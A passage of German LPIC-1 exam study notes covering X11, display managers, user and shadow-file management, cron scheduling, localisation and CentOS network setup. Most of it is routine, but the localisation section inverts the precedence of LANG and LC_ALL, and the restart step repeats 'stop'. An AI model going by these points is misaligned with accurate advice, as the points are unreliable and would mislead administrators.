   VORTEIL: Vom Despktop aus lassen auch mit höheren Rechten ACPI-Funktionen wie
	    Suspend-to-RAM / Suspend-to-Disk

2. Worin besteht der Hauptunterschied zwischen Windowmanager und Desktop Environment?

	* Windowsmanager ist Basis jedes Desktops: KDE hat kwin
		 als Standard-Fenstermanager
      	* Ein Windowmanager bringt KEINE Zubehörprogramme mit
	* Ein Desktop unterstützt Kommunikation zwischen Zubehör-Apps
	* Ein Desktop setzt auf einheitliche Libs (KDE = qt)
	  --> einheitliches Look & Feel von Apps

3. Mit welchen Optionen wurde ihr X-Server gestartet (In Sachen Sicherheit:   ist der TCP-Port 6000 offen, siehe 'ps aux')?

	ps aux | grep X

	  --> Hierbei muss '-nolisten tcp', d.h. der TCP-Port wird NICHT
	      geöffnet

4. Modifizieren Sie Ihre '~/.xinitrc', so dass Firefox automatisch beim Login gestartet wird.

	vi ~/.xinitrc
		xterm &
		firefox &
		exec openbox

5. Geben Sie sich den Inhalt der Variablen 'DISPLAY' aus. Wozu dient sie?
Entfernen Sie diese Variable testweise aus Ihrerer Prozessumgebung (X-Terminal) und versuchen Sie das Programm "xlogo" zu starten. Setzen Sie danach die Variable wieder neu (Inhalt wie beim Ausgangspunkt)

	echo $DISPLAY
	unset DISPLAY
	xlogo    --> Error: Can't open Display
	export DISPLAY=:0.0
	xlogo

6. Wie heißt die Konfigurationsdatei beim alten XFree86-Grafikserver?

	/etc/X11/XF86Config

7. Wie heißt das Kommandozeilenkonfigurationsprogramm des  Xfree86-Grafikservers?

	xf86config

8. Wie heißt das GUI-Konfigurationsprogramm des  Xfree86-Grafikservers?

	XF86Setup

9. Wozu dienen die folgenden Kommandos?

	* xvidtune  -> Monitor-Modlines anpassen
	* xwininfo  -> Informationen über ein Fenster erhalten
	* xdpyinfo  -> Informationen über installierten X-Server ausgeben

10. Welche Programme spielen eine Rolle, wenn man KEINEN Display-Manager
    einsetzt?

	* /usr/bin/X   (/usr/bin/Xorg)
	* /usr/bin/xinit (In der Praxis:  'xinit /usr/bin/fluxbox')
	* /usr/bin/startx (Zum Starten der Oberfläche mit Einstellungen
		laut ~/.xinitrc oder /etc/X11/xinit/xinitrc)


**Weitere Fragestellungen**

. Sie wollen einen Font-Server für Ihre X11-Schriftarten einrichten, welchen Eintrag müssen Sie
in der
  * /etc/X11/XF86Config   bzw.
  * /etc/X11/xorg.conf

+
im Abschnitt 'Files' hinzufügen?


. Welche Voraussetzungen müssen erfüllt sein, dass nach dem Setzen der DISPLAY-Variable auf einem X-Client die grafische Ausgabe auf dem entfernten X-Server erscheint?


. Welche Programme gibt es im Zusammenhang mit der serverseitigen Host-Zugriffskontrolle?


. Welche Datei spielt hierbei eine Rolle (Hidden File in $HOME)?

. Was versteht man unter dem MIT-MAGIC-COOKIE?
+
=> Siehe dazu auch http://www.fibel.org/linux/lfo-0.6.0/node511.html


**Praktische Übungen**

. Sorgen Sie dafür, dass auf Debian und CentOS alle DHCP- und Network-Manager-Dienste gestoppt sind

. Konfigurieren Sie temporär die beiden Maschinen folgendermaßen:

    * Debian:
	- IP-Adresse: 192.168.99.1
	- Standardgateway mit folg. Zeile: _route add default gw 192.168.99.254_

    * CentOS:
	- IP-Adresse: 192.168.99.2
	- Standardgateway mit folg. Zeile: _route add default gw 192.168.99.1_

. Testen Sie, ob sich die beiden Maschinen gegenseitig erreichen können
. Legen Sie auf Debian einen Benutzer an:

      useradd -s /bin/bash -m fritz
      passwd fritz

. Loggen Sie sich auf die grafische Oberfläche von CentOS ein, verbinden Sie sich danach zu Debian unter
Verwendung des neuen Benutzers und verschlüsseltem X11-Forwarding und testen Sie von dort aus, ob sich grafische Anwendungen wie 'xlogo' starten lassen:

    ssh -X fritz@192.168.99.1



== Topic 106.2: Einrichten einen Displaymanagers

. Wie kann man den xdm-Login-Vorgang personalisieren?

	~/.xsession

. In welcher Datei konfiguriert man das GDM-Default-Greeting?

	/etc/X11/gdm/Init/Default

. In welcher Datei konfiguriert man ein eigenes GDM-Greeting?

	/etc/gdm/custom.conf

. In welcher Datei stellt man den XDM-Background ein?

	/etc/X11/xdm/Xsetup

. Wo kann ein Benutzer Standardeinstellungen für Fenstergröße, Fernsterort (Geometry) und Farbschema ändern?

	~/.Xdefaults   sowie    ~/.Xresources

. Wie heißen die althergebrachten Standard-Wurzelverzeichnisse für die Konfiguration von xdm, gdm und kdm?

	/etc/X11/xdm
	/etc/X11/gdm
	/etc/X11/kdm

. Wie heißt die kdm-Konfigurationsdatei (kdm-Version für KDE4), die beim Logout abgearbeitet wird?

	/etc/kde4/kdm/Xreset

. Nennen Sie Kommandos und Startupdateien für ein X-Window-System ohne Displaymanager gemäß ihrer Ausführungsreihenfolge.

	startx  -> xinit  ->  ~/.xinitrc ->  X  -> openbox -> firefox
	startx  -> xinit  ->  ~/.xinitrc ->  X  -> X-Clients


== Topic 106.3: Hilfestellung für Behinderte (Accessibility)

Wichtige Begriffe/Tools sind u.a.:

  * Sticky Keys: Unterstütung von Menschen, die Probleme haben, mehrere Tasten festzuhalten
  * emacspeak, orca: Screenreader
  * GOK: Gnome Onscreen Keyboard

== Topic 107.1: Manage user and group accounts and related system files

=== Sicheres Konzept dank Unix-Erbe

Traditionell gibt es hoche Sicherheitsstandards, gemäß Herkunft gibt es harte Multiuser- und Multitaskinganforderungen, denen Linux gerecht wird.

Man unterschiedet zwischen Benutzern und einem jeweils zugeordneten Benutzeraccount, der eindeutig über die User-ID (UID) und eine oder mehrere Gruppen-IDs (GID) spezifiziert werden kann.

Diese Spezifierung geschieht in Plain-Text-Datenbankdateien unter /etc: passwd, shadow, group

Es gibt einen Benutzer mit in einer Sonderrolle: "root" = Superuser = Admin, ihm wird die UID 0 zugewiesen.

Zum etwas verwirrenden Begriff "root", der 3 mal auftaucht:

	* Benutzernanme: root
	* Heimatverzeichnis von "root": /root
	* Oberster Einhängepunkt des Dateisystems: /

Normale Benutzer werden mindestens einer Gruppe automatisch zugeordnet, einer **primären Gruppe** für den Login, danach können sie sich mit _newgrp_ eine andere Gruppe zur primären machen. Das hat lediglich den Effekt, dass neue Files dann gleich diese Gruppenkennung tragen.

In sekundären Gruppen muss man z.B. auch sein, um auf bestimmte Hardwarekomponenten schreibend zugreifen zu können (kvm, audio, video, plugdev, fuse, tty).


=== Aufbau der Datenbankdateien

Drei Datenbankdateien sind für die Benutzerverwaltung von elementarer Bedeutung, u.U. kann eine vierte Datei existieren:

**Erste Datei:** /etc/passwd

	* Beispielnutzer "tux":
		 ** 'grep tux /etc/passwd' -> tux:x:1000:1000:tux,,,:/home/tux:/bin/bash
	* ACHTUNG: Hier könnte in Spalte 2 ein mit "crypt" verschlüsseltes Passwort stehen - was
		schlecht ist! - weshalb man die Datei in eine Shadow-System umwandeln sollte:
		Kommando: _pwconv_  (Wieder zurückverwandeln: _pwunconv_)

**Zweite Datei:** /etc/shadow

	* Beispielnutzer "tux":

		 ** 'grep tux /etc/shadow' -> tux:$6$FiH...password...:16444:0:14:7:::

	* In Spalte 2 steht das verschlüsselte Passwort, wobei es sich aus drei Teilen
	  sammensetzt:

		** Algorithmus, hier: "$6" = SHA-512
		   (Weitere Verfahren: "$5" = SHA-256, "$2a" = Blowfish, "$1" = MD5)
		** Salt (Zufalls-Anteil)
		** Passwortstring

	* Danach folgen 6 Spalten für die Passwort-Alterung:

		** Datum der letzten Kennwortänderung [Anzahl der Tage seit dem 01.01.1970]
		** Mindestsalter des Passwortes (Wie oft kann es geändert werden?) [Tage]
		** Maximalalter des Passwortes (Wann muss es wieder geändert werden) [Tage]
		** Passwortverfall-Warnfrist (Befor das Maximalalter erreicht ist) [Tage]
		** PW-Gültigkeit nach dem Erreichen des Maximalalters) [Tage]
		** Verfallsdatum des Accounts [Anzahl der Tage seit dem 01.01.1970]

	* Das 9. und letzte Feld ist reserviert für spätere Nutzung


Im Gesamtzusammenhang müssen dazu die Kommandos passwd, usermod und chage betrachtet werden.

.Aging im Zusammenhang mit Kommandos und deren Auswirkungen auf die sechs Spalten der /etc/shadow
[options="header"]
|=======================================================================================================================================
|                                |                          passwd                     |         usermod          |       chage
|1. Letzte Kennwortänderung      |   [Speziell nur auf Null setzen:  -e, --expire]     |            ---           |     -d, --lastday
|2. Mindestalter des Passwortes  |                  -n, --mindays                      |            ---           |     -m, --mindays
|3. Maximalalter Passwortes      |                  -x, --maxdays                      |            ---           |     -M, --maxdays
|4. Warnfrist Passwort-Verfall   |                  -w, --warndays                     |            ---           |     -W, --warndays
|5. PW-Gültigkeit nach MaxDays   |                  -i,  --inactive                    |       -f, --inactive     |     -I, --inactive
|6. Verfallsdatum des Accounts   |                        ---                          |       -e, --expiredate   |     -E, --expiredate
|=======================================================================================================================================





Beispiele:

	* chage -W 7  -M 14  anna

	Lässt der Benutzer die Warnungen (hier: 7 Tage) unbeachtet und ist die maximale Alterung
	des Passwortes erreicht (hier: 14 Tage), kann er sich nicht mehr einloggen,
	ohne sein Passwort sofort zu ändern.

	* chage -W 7  -M 14  -I 17  anna

	Dieses Beispiel baut auf dem obigen auf; hier wird aber nach weiteren 3 Tagen
	sein Password inaktiv gesetzt und er muss den Administartor um Hilfe bitten.

	* chage -W 7  -M 14   -E 2015-03-31  anna

 	Das Beispiel ist ähnlich dem ersten, hier wir aber ein absoluter Endpunkt für die
	Kontogültigkeit festgelegt (Befristeter Vertrag). Die Meldung lautet wie im zweiten
	Beispiel "Ihr Konto ist abgelaufen. Wenden Sie sich an den Systemadministrator"

**Dritte Datei:** /etc/group

	* Beispielnutzer "tux":

		 ** 'grep ^tux /etc/group' -> tux:x:1000:

	Hier wird zuerst die primäre Gruppe ausgegeben (bei Debian/CentOS bekommt
	jeder Benutzer eine gleichnamige Gruppe zugewiesen) -> der Gruppenname steht am
	Zeilenanfang

	Das "x" in Spalte 2 heißt, "schlage das Passwort in der Datei /etc/gshadow nach"

	In Spalte 3 steht die Gruppen-ID; weil diese 1000 mit dem Wert von Spalte 4
	der  /etc/passwd korreliert, handelt es sich damit um seine primäre Gruppe.

	In der Spalte 4 finden sich mit Komma getrennt die Nutzernamen, die eine oder mehrere
	Gruppen als sekundäre Gruppe zugeordnet bekommen.

		** cut -d: -f1,4 /etc/group | grep tux | sed 's/tux://'

**Vierte Datei:** /etc/gshadow

	* Sie gibt es nicht immer, sie wird gebraucht, um sich mit 'newgrp <GROUP>' in eine neue
	  Gruppe temorär zu bewegen, die in dem Moment zur primären Gruppe wird (Neue Dateien
	  erhalten automatisch diese Gruppen-ID)
	* Ähnlich der /etc/shadow speichert sie Passwörter, die dann mit dem Kommando 'gpasswd'
	  gesetzt werden.

=== Kommandos zum Verwalten von Nutzern

	* useradd: mit '-D' werden Default-Einstellungen ausgegeben: z.B. $HOME, $SHELL, primäre
	  Gruppe, die beim Neuanlegen von Benutzern verwendet werden soll, dabei wird die
	 folg.Datei ausgegeben:	 _/etc/default/useradd_

	* Eine weitere Datei, die sich um Verientsellungen kümmert, ist die _/etc/login.defs_
	  sie beinhaltet mehr die Account-Alterung.

Einen ersten Benutzer OHNE Heimatverzeichnis anlegen, ist er damit arbeitsfähig? --> JA!

----
root@deb7:~# useradd tester
root@deb7:~# passwd tester
root@deb7:~# su - tux  <========== ÜBER EINEN ANDEREN BENUTZER GEHEN, DAMIT PASSWORTABFRAGE KOMMT
tux@deb7:~$ su - tester
Passwort:
Kein Verzeichnis, Anmeldung mit HOME=/
tester@deb7:/$
tester@deb7:/$ chsh    <====== ER KANN SEINE LOGIN-SHELL ÄNDERN (dank SUID-Bit bei /usr/bin/chsh)
Passwort:
Login-Shell für tester wird geändert.
Geben Sie einen neuen Wert an oder drücken Sie ENTER für den Standardwert
	Login-Shell [/bin/sh]: /bin/bash
tester@deb7:/$
tester@deb7:/$ exit
exit
$
$ exit
tux@deb7:~$
tux@deb7:~$ su - tester
Passwort:
Kein Verzeichnis, Anmeldung mit HOME=/
tester@deb7:/$
tester@deb7:/$ ps
  PID TTY          TIME CMD
 8068 pts/0    00:00:00 bash
 8111 pts/0    00:00:00 ps
tester@deb7:/$
tester@deb7:/$ mkdir /tmp/Briefe   <========= ER KANN IN /tmp DATEIEN ABLEGEN
tester@deb7:/$ echo Hallo Welt > /tmp/Briefe/hallo.txt
tester@deb7:/$
----

Anpassung der Standard-Profil-Dateien VOR dem Anlegen neue Benutzer:
----
root@deb7:~#
root@deb7:~# # Die Einstellungen des aktuellen (Beispiel-)Benutzers als Vorlage heranziehen:
root@deb7:~#
root@deb7:~# cp -r /home/tux/.bashrc  /home/tux/.config/  /etc/skel
cp: „/etc/skel/.bashrc“ überschreiben? j
root@deb7:~#
root@deb7:~# # VORSICHT: Es können u.U. senible Daten in den Verzichnissen des Beispiel-Benutzers
root@deb7:~# #           liegen!
root@deb7:~#
root@deb7:~#
root@deb7:~# ls -ltrc /etc/skel/
insgesamt 0
root@deb7:~#
root@deb7:~# ls -ltrca /etc/skel/
insgesamt 32
-rw-r--r--   1 root root   675 Dez 15 10:40 .profile
-rw-r--r--   1 root root   220 Dez 15 10:40 .bash_logout
drwxr-xr-x 150 root root 12288 Mär 31 12:48 ..
-rw-r--r--   1 root root  3560 Mär 31 13:16 .bashrc
drwxr-xr-x   3 root root  4096 Mär 31 13:16 .
drwxr-xr-x  18 root root  4096 Mär 31 13:16 .config
root@deb7:~#
----


NACHARBEIT: Heimatverzeichnis für "tester" erzeugen:

Der Benutzer "tester" muss nun sein $HOME erhalten; danach ist der Inhalt des Vorlageprofilordners _/etc/skel_ dort hinein zu kopieren, abschließend ihm sein $HOME übereignet werden:

----
root@deb7:~# mkdir /home/tester
root@deb7:~#
root@deb7:~# cd /etc/skel
root@deb7:/etc/skel#
root@deb7:/etc/skel# find | cpio -pdm /home/tester
136 blocks
root@deb7:/etc/skel#
root@deb7:/etc/skel# ls -la /home/tester/
insgesamt 24
drwxr-xr-x  3 root root 4096 Mär 31 13:30 .
drwxr-xr-x  7 root root 4096 Mär 31 13:29 ..
-rw-r--r--  1 root root  220 Sep 25  2014 .bash_logout
-rw-r--r--  1 root root 3560 Mär 31 13:16 .bashrc
drwxr-xr-x 18 root root 4096 Mär 31 13:30 .config
-rw-r--r--  1 root root  675 Sep 25  2014 .profile
root@deb7:/etc/skel#
root@deb7:/etc/skel# cd
root@deb7:~#
root@deb7:~# chown -R tester:tester /home/tester/
root@deb7:~#
root@deb7:~# ls -la /home/tester/
insgesamt 24
drwxr-xr-x  3 tester tester 4096 Mär 31 13:30 .
drwxr-xr-x  7 root   root   4096 Mär 31 13:29 ..
-rw-r--r--  1 tester tester  220 Sep 25  2014 .bash_logout
-rw-r--r--  1 tester tester 3560 Mär 31 13:16 .bashrc
drwxr-xr-x 18 tester tester 4096 Mär 31 13:30 .config
-rw-r--r--  1 tester tester  675 Sep 25  2014 .profile
root@deb7:~#
----

Einen Nutzer unter Umgehung von Standards anlegen:

----
mkdir /opt/users
useradd -k /home/tux -d /opt/users/moritz -m  -s /bin/bash -g users  -c "Moritz Müller"  moritz
----

Dabei bedeuten die Schalter folgendes:

	* '-k /home/tux'  Die Befüllung des neuen HOME-Orders geschieht nicht mit den Files von
			  /etc/skel; die Quelle ist jetzt ein sauberes, angepasstes
			  Vorlage-Userverzeichnis

	* '-d /opt/users/moritz' Anstelle die Voreinstellungen von /etc/default/useradd zu
			  benutzen, soll das Heimatverzeichnis Dank der Option '-m' an der 				  angegebenen Stelle entstehen

	* '-m' Das HOME-Verzeichnis an angegebener Stelle erzeugen, den Inhalt des
			  Vorlage-Userverzeichnisses einkopieren und dem Nutzer übereignen

	* '-s /bin/bash' Als Login wird die Bash verwendet

	* '-g users' Dem Benutzer die primäre Gruppe "users" zuweisen

	* '-c Moritz Müller' Das Kommentarfeld befüllen.



=== Verwaltung des Shadow-Systems


Wichtige Kommandos:

	* pwconv (Konvertieren der /etc/passwd mit Passwörten zu einer Version OHNE Passwörter,
		  wobei sie in die /etc/shadow ausgelagert werden.)
	* pwunconv (Umkehrung: wieder zu EINER Datei zurückkehren, /etc/shadow wird gelöscht)
	* pwck	(Prüfen der Passwort-Dateien)
	* grpck	(Prüfen der Gruppen-Dateien)
	* grpconv (Ähnlicher Vorgang wie pwconv)
	* grpunconv (Ähnlicher Vorgang wie pwunconv)

=== Erweiterte Rechtezuweisung mit "super user do"

Mit dem Kommando 'visudo' kann die Datei _/etc/sudoers_ bearbeitet werden, so dass einfache
Benutzer in der Lage sind, administrative Aufgaben mit dem Vorschaltkommando 'sudo' durchzuführen.

-> Siehe LPI-Thema 110.1

=== Informationen über Benutzer ausgeben

Wichtige Kommandos:

	* whoami
	* who am i
	* who (Siehe auch 'uptime', Logdatei: _/var/run/utmp_)
			Merkhilfe: whuuuu -> uptime -> /var/ruuuun --> uuutmp
	* w

	* last (Wer hat sich zuletzt von wo eingeloggt, Logdatei: _/var/log/wtmp_)
			Merkhilfe: lllast   -> /var/lllog -> wwwtmp (w kommt nach u = last)
	    	Last kennt eine Option '-o': -> "Read an old-type wtmp file"

	* lastb (Bad logings loggen, Log-Datei: _/var/log/btmp_)
			Merkhilfe: lllast   -> /var/lllog -> bbbtmp = bad temp

=== Fragen zur Wiederholung


1. Legen Sie zwei Benutzer 'user01' und user02' mitsamt Heimatverzeichnis an.

	useradd -m user01
	useradd -m user02

2. Erzeugen Sie zwei Gruppen 'group01' und 'group02'.

	groupadd group01
	groupadd group02

3. Modifizieren Sie die beiden Benutzer, indem Sie 'user01' als primäre Gruppe 'group01' und 'user02' die Gruppe 'group02' zuweisen.

	usermod -g group01 user01
	usermod -g group02 user02

4. Modifizieren Sie die beiden Benutzer, indem Sie den beiden Benutzern als sekundäre Gruppen 'audio', 'video' und 'dialout' zuweisen.

	usermod -G audio,video,dialout user01
	usermod -G audio,video,dialout user02

5. Legen Sie eine Gruppe 'sharing' an und fügen Sie die beiden Benutzer dieser Gruppe ZUSÄTZLICH (sekundäre Gruppenzugehörigkeit) hinzu.

	groupadd sharing
	usermod -aG sharing user01
	usermod -aG sharing user02

6. Lassen Sie sich alle relevanten Einträge der Benutzerdatenbankdateien ausgeben.

	cd /etc
	grep 'user0[1,2]' passwd shadow group gshadow


7. Lassen Sie sich die Benutzer-ID und die Gruppenmitgliedschaften der Benutzer ausgeben.

	id user01
	id user02

8. Loggen Sie sich als Benutzer 'user01' ein, bringen Sie in Erfahrung, wer außer Ihnen noch eingeloggt ist, um ihn mit "write" eine Nachricht zu senden.

	su - user01
	who  (alternativ: w)
	write tux  (alternativ sendet 'wall' Nachrichten an alle eingeloggten Benutzer)

9. Löschen Sie den Benutzer 'user01', wobei sein Heimatverzeichnis erhalten bleiben soll.

	userdel user01

10. Löschen Sie den Benutzer 'user02', wobei sein Heimatverzeichnis NICHT erhalten bleiben soll.

	userdel -r user02

HINWEIS: Neben den modifizierenden Werkzeugen kann auch 'vipw' eingesetzt werden, mit '-g' wird die _/etc/group_ und mit '-s' die _/etc/shadow_ bearbeitet.


**Weitere Praxisaufgaben**

**Zielstellung:** Zwei Techniker (Benutzer 'herbert' und 'hubert') sollen im gemeinsamen Heimatverzeichnis '/srv/technik' Dokumente anlegen,
die Dateien des jeweils anderen lesen, aber nur die eigenen bearbeiten können. Halten Sie dabei am besten die folgenden Arbeitsschritte ein:



. Gruppe 'technik' anlegen

	* Gruppe erzeugen: 'groupadd technik'

. Heimatverzeichnis erzeugen, Rechte anpassen (Stick-Bit verwenden!)

	* Ordner anlegen: 'mkdir /srv/technik'
	* Gruppe ändern: 'chgrp technik /srv/technik'
	* Rechte ändern: 'chmod 1070 /srv/technik'


	### Falls man besser KEIN gemeinsames Heimatverzeichnis verwenden möchte, kann der
	eben angelegte Order als Austausch-Container benutzt werden, zur einfacheren Handhabung
	einen Sym-Link erzeugen:
					ln -s /srv/technik ~/Austausch


. Anlegen der beiden Benutzer unter Zuweisung von 'technik' als PRIMÄRE GRUPPE, des gemeinsamen Heimatverzeichnisses und der 'bash'; Vergabe von Passwörten

	* User 1 anlegen: 'useradd -g technik -d /srv/technik -s /bin/bash herbert'
	* User 2 anlegen: 'useradd -g technik -d /srv/technik -s /bin/bash hubert'
	* Passwort 1 setzen: 'passwd herbert'
	* Passwort 2 setzen: 'passwd hubert'

. Testen der Zugriffsrechte (Benutzer wechseln, Dokument erzeugen)

	* Als Benutzer 1 einloggen:   'su - herbert'
	* Dokument erstellen:         'echo 123 > projekt1.txt'
	* Als Benutzer 2 einloggen:   'su - hubert'
	* Dokument erstellen:         'echo 123 > projekt2.txt'
	* Versuchen, das Dokument von Benutzer 1 zu verändern:  'echo Anmerkung >> projekt1.txt'


. Ein gemeinsam zu bearbeitendes Dokument 'gemeinsame-notizen.txt' erzeugen, vorher mit 'umask' für Schreibrechte für Gruppenmitglieder sorgen:

	* Negativmaske setzen:  'umask 002'
	* Dokument erzeugen:    'echo Huberts Ideen: ... > gemeinsame-notizen.txt'
	* Kontrolle:            'ls -l'       -->  -rw-rw-r-- 1 hubert  technik ... gemeinsame-notizen.txt     (DIE GRUPPE HAT SCHREIBRECHT BEKOMMEN)
	* Bitte testen; Hubert darf Daten anhängen: 'echo Anmerkung >> gemeinsame-notizen.txt'

. Mit Hilfe 'set' verhindern, dass sich die Beiden gegeseitig Dateien mit '>' überschreiben können:

	* Nicht "verprügeln": 'set -o noclobber'



== Topic 107.2: Automate system administration tasks by scheduling jobs


Zwei Zeitsteuerungsmethoden

	* Ständig wiederkehrende Aufgaben: cron / anacron
	* Einmalig auszuführende Jobs: at / batch

=== Wiederkehrende Aufgaben mit cron

	* Der cron-Daemon läuft i.d.R. immer, er überwacht _/var/spool/cron/crontabs_
	* Die systemweite Config-Datei _/etc/crontab_ bindet weitere Verzeichnisse ein, in denen
	  Skripte mit Zietsteuerungen liegen können, z.B.
		** /etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly
	* Im Unterschied zu User-Crontabs hat die _/etc/crontab_ eine Spalte mehr: Username
	* Als Standard-Shell wird die einfache /bin/sh verwendet, als Newline-Zeichen ist ('%')
	  eingestellt!
	* Zur Bedeutung der einzelnen Felder siehe 'man 5 crontab'

**Beispiele**

	* Systembackup als root einrichten

	mkdir /srv/backup
	vi /etc/crontab
	    (Nach dem Speichern und Beenden wird die Änderung von cron automatisch eingelesen)

----
# Täglich um 2 Uhr das Verzeichnis /etc sichern
0 2 * * * root    tar czf  /srv/backup/etc-`date +\%F`.tar.gz  /etc 2> /dev/null

# Wochentags 2x täglich um 14 und 2 Uhr Backup von /home machen
0 2,14 * * 1-5  root  tar czf /srv/backup/home-`date +\%F_\%H`.tar.gz  /home 2> /dev/null
----

	* Eigene Backups als user planen

		** Kommando 'crontab'
		** Optionen
			- '-l' Jobs auflisten
			- '-e' Jobs editieren
			- '-r' Gesamte Crontab löschen
			- '-u <USER> ...' Als root Crontabs anderer User einsehen/bearbeiten/...

		crontab -e
			(Bei Debian startet sich nano:
				Speichern: STRG + O
				Beenden: STRG + X

			alternativ Variable setzen:  'export EDITOR=vi')

----
# Montags, Mittwochs und Freitags aller 10 Minuten eine Datei unter /tmp mit Zeitstempel anlegen
# min h dom mon dow command
*/10 * * * 1,3,5  date > /tmp/datei-`date +\%F_\%H:\%M`
----


=== Aufgaben zur Wiederholung

. Erstellen Sie als "hubert" einen Cronjob, der aller 10 Minuten das Verzeichnis '~/Dokumente' sichert, wobei
ein Zeitstempel mitgegeben werden soll. Welche zwei Möglichkeiten gibt es, die Zeitplanung zu realisieren?

	* Zielordner erzeugen: 'mkdir ~/BACKUP'
	* Als Benutzer: 'crontab -e'

		0,10,20,30,40,50  * * * *  tar czf ~/BACKUP/Dokumente-$(date +\%F_\%M:\%H).tar.gz  ~/Dokumente

		*/10 * * * *  tar czf ~/BACKUP/Dokumente-$(date +\%F_\%M:\%H).tar.gz  ~/Dokumente

. Entfernen Sie nach Abschluss der Cronjob-Tests als **root** die Cron-Tabelle von 'hubert'.

	* Sicher root werden: '/bin/su -'
	* Crontab komplett löschen: 'crontab -r -u hubert'


. Erklären Sie Gemeinsamkeiten und Unterschiede von cron und anacron.

	* Gemeinsamkeit: Planung von sich ständig wiederholenden Aufgaben

	* Unterschiede:

		** Anacron führt die Aufgaben nur 1x täglich durch, ist
			für Desktop-Rechner --> jobs werden nachgeholt, wenn der Rechner nicht
			 zur geplanten Zeit läuft

		** Cron  = für Server gedacht, die Rund um die Uhr laufen, weshalb periodische 				     Abarbeitung möglich ist

. Schreiben Sie ein Skript, das den Download eines Radio-Stroms mit

----
wget http://dradio_mp3_dlf_m.akacast.akamaistream.net/7/249/142684/v1/gnl.akacast.akamaistream.net/dradio_mp3_dlf_m
----

auslöst und denselben nach 3 Minuten wieder stoppt. Eine mögliche Lösung könnte lauten:

----
#!/bin/sh
#
# dradio-mitschnitt.sh

wget http://dradio_mp3_dlf_m.akacast.akamaistream.net/7/249/142684/v1/gnl.akacast.akamaistream.net/dradio_mp3_dlf_m &

sleep 3m

killall wget
----


== Topic 107.3: Localisation and internationalisation


=== Zeitzoneneinstellungen

	* Änderungen mit Hilfe eines Skriptes: 'tzselect'
		** ZIEL: Verändungen der Nutzer-Umgebungsvariablen (ohne root-Berechtigung) "TZ":

			tzselect

				10) Pacific Ocean -> 29) Hawaii  -> 1) YES

					Hilfstext: TZ='Pacific/Honolulu'; export TZ


			echo "export TZ='Pacific/Honolulu'" >> .profile
			source .profile


		** Ein veraltetes Kommando ist diesbezüglich: 'tzconfig'

	* Ausgangspunkt für Zeitzonen: /usr/share/zoneinfo

		** Oberste Verzeichnisebene: Kontinent
		** Unterste Ebene = Zielobjekt (Link oder Binärdatei): Stadt

	* Änderungen mit Hilfe von SymLinks oder direktem Kopieren der Binärdateien (als root!):

		** Datei für das Speichern des Stadtnamens: _/etc/localtime_

		   - Unter CentOS: 'ln -s /usr/share/zoneinfo/Europe/Berlin /etc/localtime'
		   - Unter Debian: 'cp /usr/share/zoneinfo/Europe/Berlin /etc/localtime'

		** Eine weitere, möglicherweise nicht vorhandene Datei (Klartext):
			 _/etc/timezone_ (Datei hat nur informellen Wert)

				Inhalt bei Debian:   Europe/Berlin

		 	(Bei Debian macht es Sinn, dass die Datei existiert, da anders als bei
			RedHat - wo es sich um einen SymLink handelt, an den man die Zeitzone
			ablesen kann - die '/etc/localtime' hier eine binäre Datei ist, anhand
			der die Zone nicht direkt ersichtlich ist.)

=== Umgebungsvariablen für Lokalisierung

ZIEL: Landeskonforme Darstellung von Einheiten wie Währung, Parpierformat, Datum, Uhrzeit...

	* Ausgabe der Standardeinstellungen (Nutzerabhängig!): 'locale'
	* Ausgabe der verfügbaren Lokalisierungen: 'locale -a'
	* Spezielle Variablen:

		** LANG: Standartwert für alle Variablen vorgeben, der leicht von der einzelnen 			 benutzerdefinierten Variable überschrieben werden kann, z.B.:

			 export LANG=C    (Rohdaten-Ausgabe [engl])
			 export LC_PAPER="de_DE.UTF-8"

			 Dieses Variablen können für einmaige Ausführung vorangestellt werden:

			 LANG=C date


		** LANG: Nur die Sprache ändern, andere Variablen behalten ihren Wert, Initialisierung aus der /etc/inittab heraus. Sie besitzt hohe Priorität: LC_ALL kann sie nicht mit ändern.

		** LC_ALL: Alle LC_-Variablen mit einem Mal setzen (außer "LANG")
			   Die benutzerdefinierten Variablen (z.B. "LC_PAPER") lassen sich hier
			   nachträglich NICHT personalisieren.

	* Hinweis: Das althergebrachte Suchen nach Grußbuchstaben in Dokumenten mit 			funktionert mit _LANG="de_DE.UTF-8"_ nicht mehr, da 'grep' mit UTF-8 u.U. nicht 		klarkommt, Lösung:

		LANG=POSIX grep '^[A-Z].*' textdokument.txt


	* Nachträgliche Konvertierung von Zeichensätzen in Textdokumenten: 'iconv', z.B:

		echo "Viel Spaß und viel Glück." > sourcefile.txt

		file sourcefile.txt    -> sourcefile.txt: UTF-8 Unicode text
		iconv -f UTF-8 -t ISO-8859-15 sourcefile.txt -o outputfile.txt

		file outputfile.txt    -> outputfile.txt: ISO-8859 text

		cat outputfile.txt     -> Viel Spa� und viel Gl�ck.

		TIPP: Ausgabe der bekannten Zeichencodes: 'iconv -l'

	* Konvertieren von Zeichensätzen in Dateinamen: 'convmv'

		Siehe auch http://www.heise.de/ct/hotline/Linux-vermatscht-Umlaute-326142.html

		Ursache kann falsches Mounten von vfat-Partitionen sein; am besten man beugt vor:

			mount -o iocharset=utf8 /dev/sdb1  /mnt


=== Netzwerkkonfiguration CentOS

**AUFGABE:**

	* Zweiten Adapter in VirtualBox aktivieren, mit "Internes Netzwerk" verbinden,
	  dabei den Namen "intnet2" vergeben.

	* Hinweise zur Konfiguration der Ethernet-Karten:
	Bei CentOS 7 heißen die Schnittstellen, die man mit 'ifconfig -a'
	identifizieren kann nicht _eth0_ und _eth1_, sondern _enp0s3_ und _enp0s8_.
	Die Dateinamen wurden im Beispiel mit _ifcfg-nic0_ und _ifcfg-nic0_ bewusst abweichend
	gewählt; entscheidend ist lediglich, dass eine Übereintimmung der identifizierten
	Schnittstellennamen mit der Angabe bei _DEVICE=""_ besteht.

Die Konfiguration erfolgt natürlich wieder als root:

 # Ins verantwortliche Verzeichnis wechseln
 cd /etc/sysconfig/network-scripts/

 # Die erste Schnittstelle konfigurieren/anpassen, es reichen 5 Zeilen aus:
 vi ifcfg-nic0

----
BOOTPROTO="none"
ONBOOT="yes"
IPADDR="172.16.0.2"
PREFIX="30"
DEVICE="enp0s3"
----

	# Die zweite Schnittstelle konfigurieren/anpassen, es reichen 5 Zeilen aus:
	vi ifcfg-nic1

----
BOOTPROTO="none"
ONBOOT="yes"
IPADDR="192.168.99.1"
PREFIX="24"
DEVICE="enp0s8"
----

Abschließend das Netzwerk stoppen und wieder starten:

	/etc/init.d/network stop

	/etc/init.d/network stop

Zur Kontrolle eingeben:

	ifconfig

	ping -c3 172.16.0.1


